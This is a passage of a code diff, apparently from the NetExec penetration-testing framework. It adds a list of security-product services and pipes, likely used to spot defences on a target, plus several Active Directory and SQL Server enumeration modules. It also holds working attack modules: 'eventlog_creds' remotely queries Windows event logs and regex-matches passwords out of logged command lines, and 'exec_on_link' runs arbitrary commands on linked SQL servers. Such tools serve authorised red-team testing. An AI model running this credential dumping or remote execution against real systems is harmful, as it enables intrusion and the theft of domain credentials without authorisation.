{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -292,6 +318,25 @@ conf = {
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -304,6 +349,18 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -338,6 +395,11 @@ conf = {
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -358,6 +420,27 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
@@ -366,7 +449,10 @@ conf = {
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
],
"pipes": [
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
@@ -384,6 +470,21 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+8 -7
View File
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -23,16 +24,15 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
"""No options available"""
def on_login(self, context, connection):
self.__username = connection.username
@@ -61,7 +61,7 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
elif self.__port == 443:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
@@ -80,13 +80,14 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
context.log.debug(f"EXEs {exename}")
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
+6 -5
View File
@@ -1,5 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
@@ -11,8 +13,7 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -34,7 +35,7 @@ class NXCModule:
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -50,7 +51,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype, False):
if domain_data.get(rtype):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -64,4 +65,4 @@ class NXCModule:
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+49
View File
@@ -0,0 +1,49 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
+55
View File
@@ -0,0 +1,55 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+87
View File
@@ -0,0 +1,87 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
+5 -71
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -8,79 +9,12 @@ class NXCModule:
"""
name = "enum_trusts"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
pass
def on_login(self, context, connection):
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display("No trust relationships found")
return True
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
+224
View File
@@ -0,0 +1,224 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
+4 -17
View File
@@ -1,3 +1,5 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,8 +11,7 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
def __init__(self):
self.context = None
@@ -20,6 +21,7 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
def on_login(self, context, connection):
"""Concurrent.
@@ -48,18 +50,3 @@ class NXCModule:
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
+44
View File
@@ -0,0 +1,44 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+15 -15
View File
@@ -1,4 +1,4 @@
import socket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +16,15 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
TEXT Search TEXT in the operating system or name of the computer.
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
@@ -35,11 +35,11 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
